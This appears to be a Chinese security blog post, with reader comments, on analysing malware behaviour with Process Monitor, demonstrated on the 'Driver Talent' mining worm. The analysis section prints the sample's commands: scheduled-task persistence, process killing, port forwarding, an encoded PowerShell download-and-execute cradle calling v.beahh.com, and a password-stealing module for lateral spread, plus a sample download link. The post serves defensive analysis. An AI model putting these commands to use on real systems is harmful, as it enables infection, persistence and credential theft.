一、背景
最近几年,伴随着数字货币的兴起,促进了经济利益驱动型黑客行为的暴增。各位做安服和应急的小伙伴不可避免的会与各种勒索病毒、挖矿病毒以及各种蠕虫病毒打交道,通过分析各大厂发的技术文章, 其主要使用逆向分析还原原始代码来了解病毒相关的功能与特征。
但是对于没有逆向分析基础的同学,看上去会很吃力,并且单纯了解了相关病毒的特征,过段时间又出现了新的变种,导致根据原先病毒的特征与功能无法进行彻底的查杀干净。那么有没有比较好的方法,可以在不逆向的基础下还原病毒的主要行为特征,从而根据这些特征来进行处置呢?在前期的不断学习与实践中,发现可以通过ProcesMonitor这款工具来进行病毒行为的分析,当然除了ProcessMonitor外还有火绒剑以及各种工具的组合也可以实现这种效果,但是ProcesMonitor的微软原生、不需要安装、占用性能低、功能齐全等特点决定其整体分析效果相比其他软件好很多。
二、专杀原理
目前各大杀软与EDR厂商以及个人研究者针对不同的病毒,如Ramnit、驱动人生、Sality、飞客蠕虫都在推出自己的专杀工具,那么有没有小伙伴想过病毒专杀工具的原理呢?其实仔细想想也不复杂,其专杀的核心逻辑如下所示:
1. 分析病毒的功能特征(文件行为、注册表行为、网络行为、进程操作等),这一块是专杀的核心要点,必须把病毒的行为分析透彻
2. 针对病毒的相应行为进行反制,如病毒在c:/windows/下创建了1.exe文件,专杀就是到c:/windows/下找到这个文件并删除(根据MD5判断是否是同一个文件)
说起来很简单,但是在真实的实战中,需要病毒专杀作者深入分析病毒的功能特征,并且完善相应代码来进行查杀。但是在真实的场景下存在各种问题导致专杀查杀不彻底,这个时候就需要根据其特征来进行手工清除。
三、核心功能
回归正题,我们来分析一下ProcessMonitor的主要功能:
注册表行为分析
文件行为分析
网络行为分析
进程行为分析
3.1 注册表行为分析
主要分析针对注册表的以下行为
打开注册表表项
创建注册表表项
创建注册表键值
设置注册表表项
设置注册表键值
删除注册表表项
删除注册表键值
查询注册表表项
查询注册表键值
枚举注册表表项
枚举键值
……

直接使用过滤注册表的行为,我们可以看到相关进程对注册表的操作行为。这个时候可以进行过滤,个人感觉过滤绝对是ProcessMonitor一个强大的功能。
过滤的可以针对具体的进程、操作方法、PID、结果等条件来进行单项或者组合过滤。

个人感觉在实战中用的比较多的针对注册表的操作行为有:
枚举注册表表项与键值
创建注册表表项与键值
设置键值
删除注册表表项与键值
修改注册表键值
……
我们直接过滤regsetvalue,可以看到过滤后的信息如下:

我们将其打开,可以看到其对注册表的相关操作。

另外,也可以通过RegShot这个工具来比较注册表的变化情况,其在病毒运行前和运行后可运行一次,通过对比病毒运行前后注册表的变化来分析病毒针对注册表的操作。
3.2 文件行为分析
主要的针对文件操作的行为有:
创建文件
删除文件
复制文件
锁定文件
隐蔽文件
读写文件
……
3.3 网络行为分析

这一块个人感觉功能相对较弱,只能看到TCP五元组信息与应用层交互的统计信息,无法看到详细交互的内容。这一块,虽然通过流量可以看到病毒程序所连接的对方的IP、端口以及部分统计信息,但是无法深入分析其交互的具体内容。个人还是建议使用wireshark或tshark来过滤网络的流量,这样后续可以深入分析原始的内容,以了解病毒程序主要的行为特征。
3.4 进程与线程行为分析
这一块是病毒分析的重点,需要深入分析与关注。一般情况下,病毒程序释放的时候会创建相应的进程、线程等。相应的进程、线程会进行不同的操作。一般情况下,各种挖矿病毒除了主流的挖矿功能外,还会加上蠕虫传播的特性,这样的话会释放不同的功能模板,如SMB爆破模板、永恒之蓝漏洞利用模板、RDP爆破模板等。这里面相关进程与线程的创建与其相关的特征通过进程与线程这个功能模板都可以进行深入的分析。

另外,ProcessMonitor还有一个比较好的功能特征,就是show process tree,以树结构的形式来显示相应的进程,这个功能非常直观友好,一图胜千言,直接上图:

四、病毒实战
4.1 概述
在这里面我们以前段时间比较流行的驱动人生病毒来分析其主要的功能特征,释放病毒时主要运行setup-install.exe和svchost.exe即可,相应的病毒样本如下所示:

为了验证通过使用ProcessMonitor分析病毒功能特征的完整性,我们找了吾爱破解上的一篇分析比较齐全的针对驱动人生的分析文章,相应链接如下:
运行setup-install.exe和svchost.exe病毒样本以后,使用ProcessMonitor捕捉的样本保存后,我们来进行分析:
4.2 进程分析
4.2.1 setup-install.exe功能分析
直接使用show processtree的功能,可以看到setup-install.exe的主要功能如下:

将其过滤以后,功能如下:
#查询与启动服务
sc start Schedule
sc query Schedule
netstart WebServers
#删除原有的WebServers并创建新的WebServers定时任务
start/b sc start Schedule&ping localhost&sc query Schedule|findstrRUNNING&&(schtasks /delete /TN WebServers /f&schtasks /create /rusystem /sc MINUTE /mo 50 /ST 07:00:00 /TN WebServers /tr “cmd.exe /cc:/windows/SysWOW64/wmiex.exe”&schtasks /run /TN WebServers)
#终止svhost.exe、svhhost.exe、svvhost.exe、wmiex.exe进程
taskkill/f /im svhost.exe /im svhhost.exe /im svvhost.exe & move /yc:/windows/temp/svvhost.exe c:/windows/temp/svchost.exe & delc:/windows/system32/svhhost.exe & del c:/windows/syswow64/svhhost.exe
taskkill/f /im wmiex.exe
#wmic删除相应的进程
wmic process where “name=’svhost.exe’ orname=’svhhost.exe’ or name=’svvhost.exe’” delete
wmic process where “ExecutablePath like’%drivers%’ and name=’taskmgr.exe’” delete
wmic process where “ExecutablePath like’%drivers%’ and name=’svchost.exe’” delete
wmic process where “ExecutablePath like’%emp%’ and name=’svchost.exe’” delete
#创建端口转发策略,将本机65531-65533端口转发到1.1.1.1的53端口
netshinterface ipv6 install&netsh firewall add portopening tcp 65532 UDP
netshinterface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1connectport=53
netshfirewall add portopening tcp 65531 UDP2
netshinterface portproxy add v4tov4 listenport=65531 connectaddress=1.1.1.1connectport=53
netshfirewall add portopening tcp 65533 ShareService
4.2.2 svchost.exe功能分析
同样,使用showprocess tree功能,可以看出,svchost.exe的主要功能如下所示:

过滤相应的command,其执行的进程与命令如下所示:
#创建防火墙策略,阻断访问本地TCP 445
netuser&netsh advfirewall set allprofile state on&netsh advfirewallfirewall add rule name=denyy445 dir=in action=block protocol=TCP localport=445
#创建名为DnsScan的定时任务,每一小时运行一次,主要运行C:/Windows/temp/svchost.exe文件
schtasks/create /ru system /sc MINUTE /mo 60 /st 07:05:00 /tn DnsScan /tr”C:/Windows/temp/svchost.exe” /F
#创建powershell定时任务,base64解码后,其脚本为IEX (New-ObjectNet.WebClient).downloadstring(‘http://v.beahh.com/v‘+$env:USERDOMAIN)
schtasks/create /ru system /sc MINUTE /mo 50 /st 07:00:00 /tn”/microsoft/windows/Bluetooths” /tr “powershell -ep bypass -eSQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA=”/F
#执行powershell加载m.ps1获取系统密码实现内网传染
C:/Windows/SysNative/WindowsPowerShell/v1.0/powershell.exe-exec bypass “import-module c:/windows/temp/m.ps1;Invoke-Cats -pwds”
#获取域名与用户
wmicntdomain get domainname
netuser
4.3 文件行为分析
Setup-install.exe创建ttt.exe文件,并设置隐藏属性

4.4 注册表行为分析
创建两个启动项
1.创建名为Ddriver启动项,加载c:/windows/SysWOW64/drivers/svchost.exe

2.创建名为WebServers的启动项,启动加载c:/windows/SysWOW64/wmiex.exe

4.5 网络行为分析
前面说过通过ProcessMonitor的网络行为分析,只能看到相应的五无组信息,无法分析到交互的数据包内容。通过分析,可以看到交互的部分连接五元组信息如下所示:


去重后,可以看到和以下域名进行通信
42.pl
72.52.179.174
li1176-20.members.linode.com
li1176-20.members.linode.com
mail411.us2.mcsv.net
看了一下,网络通信这一块还有好多地址没有抓到,可能和样本释放程度有关系。大家可以在虚拟机上运行一段时间,把样本全部释放以后再分析一下。
4.6 对比
将样本上传到微步中,相关链接如下:
借用微步的一张截图来分析其行为:


五、总结
通过上面的实战可以看出,在不熟悉逆向或者因为样本对抗导致难以逆向的时候使用ProcessMonitor可以快速的分析病毒的行为,在一定程度上提高了分析的效率与质量。其具有以下特点:
不需要专业的逆向与反汇编技能
上手快、效果好
……
但是以下下面情况无法使用或分析不全:
反虚拟机
反沙箱
……
总的来说,不是一款不错的病毒分析工具。
六、参考
样本
链接:https://pan.baidu.com/s/1fLaxstvUEDa8_r3eY4q38w
提取码:0evl

韩国 1F
之前搞过挖矿病毒分析,ProcessMonitor确实省事多了
澳大利亚 2F
火绒剑也还行吧,但还是觉得ProcMon更稳一点
北京市 B1
@ MochiMunch 我也觉得ProcMon更稳。
日本 B1
@ MochiMunch ProcMon过滤功能强大,但有时漏掉细节,你们有遇到吗?
福建省福州市 3F
注册表那块删键值的操作太骚了,直接干掉启动项?
上海市 B1
@ 泡泡芋泥 确实删键值挺直接。
广东省清远市 B1
@ 泡泡芋泥 这个端口转发好像想躲避检测。
日本 B1
@ 泡泡芋泥 我之前踩过类似的注册表坑。
上海市 B1
@ 泡泡芋泥 我试过把setup-install.exe跑在没有网的环境,结果发现它的端口转发根本没生效,说明它依赖外部服务器才能完成持久化,真是让人哭笑不得。
上海市 4F
setup-install.exe那个端口转发是几个意思,65532转53?看不懂
湖北省武汉市 B1
@ 凡尔赛 所以那端口转53,就是为了绕过检测吧?
湖南省张家界市 5F
微步的报告看着比本地抓的全,是不是样本没跑完?
澳大利亚 B1
@ 奶香曲奇 微步跑得久,行为自然多,咱们本地可能没等它完全释放。
甘肃省兰州市 6F
树形进程图是真的直观,一上来就看到svchost被反复杀
日本 B1
@ 青瓷映雪 svchost被反复杀说明它在自保机制上下了功夫
日本 B1
@ 青瓷映雪 树状图确实直观,父子进程一目了然
北京市 7F
powershell定时任务base64那段能解出来看看吗?想确认下载荷
四川省成都市 B1
@ 数据流大师 base64解出来就是下载远程脚本,IEX那套老把戏了。
韩国 8F
这个DnsScan任务每小时跑一次,持久性拉满了啊
广东省广州市 B1
@ 纸飞机少年 DnsScan这定时任务藏得够深,系统启动项都搞上了
北京市 9F
网络行为只能看五元组有点难受,还得搭Wireshark补一手
广东省韶关市 B1
@ 妖风四起 五元组信息太碎片化了。
北京市 B1
@ 妖风四起 DnsScan每小时跑,真是持久。
北京市 B1
@ 妖风四起 Wireshark配合才够用。
日本 B1
@ 妖风四起 对那个base64的powershell脚本,我解码后看到下载链接,真怕被忽视。
浙江省绍兴市 B1
@ 妖风四起 Wireshark确实得跟上,不然payload根本摸不着
北京市 10F
这工具省事是省事,但反虚拟机直接GG了吧
浙江省 B1
@ 寒璃 是啊,虚拟机里直接挂了,ProcMon没法跑。🤔
印度 11F
树状图一开,父子进程全现形,太直观了
日本 B1
@ Storm Phoenix 树状图一展开,整个感染链都清晰了,谁是父谁是子一眼明。
四川省乐山市 12F
火绒剑我用着卡顿,ProcMon轻量是真的香
韩国 13F
那个base64解完是下载远程脚本,v.beahh.com那个域名
澳大利亚 B1
@ 符咒低语 这个域名我查过,似乎和一些恶意下载站点挂钩,真是让人担心。
辽宁省大连市 14F
之前分析勒索病毒,也是靠ProcMon才定位到加密路径
陕西省渭南市 B1
@ 时间之沙 端口转发转53是想伪装成DNS请求吧?
湖北省孝感市安陆市 15F
注册表删键值不算骚,关键是它还重建了启动项
台湾省 16F
微步报告数据多,可能是沙箱运行时间更长
福建省宁德市 B1
@ 星梦编织 本地抓不到全流量,可能样本没跑透
湖北省武汉市 17F
setup-install.exe转53端口,怕不是想伪装DNS流量
澳大利亚 B1
@ 团建逃亡冠军 伪装DNS流量这招有点东西,不容易被发现。
广东省广州市 18F
之前搞过挖矿病毒,ProcMon确实省事多了
日本 19F
火绒剑卡得要死,还是ProcMon轻量
浙江省 B1
@ Twilight Nomad 火绒剑太卡了,ProcMon真没得说。
江西省吉安市 20F
那个base64解出来是远程下载脚本,v.beahh.com域名有点可疑
辽宁省朝阳市 21F
注册表删完又建启动项,这操作太阴了
日本 22F
微步报告看着更全,是不是本地跑的时间太短?
福建省漳州市 23F
powershell定时任务每小时跑一次,持久化做得真狠
日本 24F
这工具真省事,不用看汇编头都大了。
贵州省 25F
这工具真香,不用逆向也能扒行为😂
北京市 26F
之前碰到一个变种,它会先把自己伪装成系统服务,然后再用ProcMon抓到的进程树直接定位到隐藏的svchost,最后手动删除了所有启动项才彻底清理。
四川省乐山市 27F
挖矿病毒那会儿也是靠它抓到偷偷开的进程,不然根本发现不了。
日本 28F
65532转53,这不就是伪装成DNS流量走外联?太狡猾了。
湖北省黄冈市 29F
注册表删键值还重建启动项,跟打地鼠似的,清完又冒。
辽宁省沈阳市 30F
火绒剑用着卡,ProcMon开十来个日志都不带抖的。
北京市 31F
网络只能看五元组,关键数据看不到,还得搭Wireshark补。
上海市浦东新区 32F
之前分析勒索病毒,就是靠文件行为定位到加密目录的,救大命。
新西兰 33F
ProcessMonitor上手快这点确实,比看汇编简单多了。
陕西省汉中市 B1
@ 狂战士之怒 我第一次用ProcMon就马上定位了可疑进程,省了不少折腾。
日本 B1
@ 狂战士之怒 刚装完就能看进程树,省了好几天逆向的功夫,真是救命。
日本 34F
之前中了勒索病毒,就是用这个找到加密目录的,不然全完了。
日本 B1
@ 螃蟹壳壳 我之前也遇到类似勒索,靠ProcMon定位到加密文件夹,真是救命。
四川省成都市 35F
那个定时任务创建DnsScan每60分钟就跑一次,铁了心赖着不走啊。
中国 36F
有没有试过搭配Sysmon一起用?感觉会更全面点。
乌克兰 37F
阅读你的博客, 我体会到, 世界很美。由衷感谢 旅行气氛。 [url=https://iqvel.com/zh-Hans/a/%E5%A2%A8%E8%A5%BF%E5%93%A5/%E8%B0%A2%E5%B0%94%E5%93%88]度假勝地[/url] 有教育意义的 旅行者博客! 请继续保持!
日本 38F
微步那个报告确实全,可能是沙箱环境跑得久。
浙江省温州市 B1
@ White Heron 我也注意到报告里列的细节超多,感觉真的跟跑的时间长有关。
湖北省咸宁市 B1
@ White Heron 沙箱跑久点确实能抓到更多网络连接,我这边加了Wireshark才看到完整流量。
台湾省 39F
过滤功能是真的强,能直接筛出关键操作。
四川省南充市 40F
网络这块只能看个大概,还得上Wireshark抓包看详情。
日本 41F
ProcessMonitor确实省事,不用看汇编
北京市 42F
那个端口转发65532转53是啥意思?
日本 43F
之前分析勒索病毒就靠它找到加密目录
重庆市 B1
@ 夜行羽翼 我也靠它抓到加密路径,省了不少手动排查时间。
北京市 B1
@ 夜行羽翼 加密目录那块我也被它锁住,后来用ProcMon追踪到隐藏文件才搞定。
北京市 44F
powershell定时任务每小时跑一次真狠
北京市 45F
火绒剑用着卡,还是这个轻量
北京市 46F
过滤功能确实强大。
福建省福州市 47F
微步报告看着更全,本地可能没跑完
陕西省汉中市 48F
注册表删了又建启动项,跟打地鼠似的
广东省广州市 49F
过滤功能强,能直接筛关键操作
安徽省滁州市 50F
反虚拟机的话这工具就没用了吧
韩国 51F
驱动人生这病毒名起的,真够讽刺的
江苏省连云港市 B1
@ 按察使 这名字取得太损了
澳大利亚 52F
ProcMon真的省事,直接看到文件路径就够了。
北京市 53F
看了这篇,感觉作者把过程画得挺清晰的。
河南省平顶山市 54F
我之前也用ProcMon定位过勒索的加密目录,救了系统。
印度尼西亚 55F
setup-install.exe里那个端口转发到底是想干嘛?
北京市 56F
那如果病毒在沙箱里直接检测反虚拟机,ProcMon还能抓到啥?
山东省济宁市 57F
配合Sysmon一起用,能把网络细节也补全。
山西省 58F
ProcMon日志太多,过滤不够精准有点烦。
北京市 59F
感觉还行。
浙江省 60F
这工具真香,安服必备 👍
北京市 61F
谁还能把这个脚本手敲出来的,佩服。
广东省肇庆市四会市 62F
ProcMon的树状图确实直观多了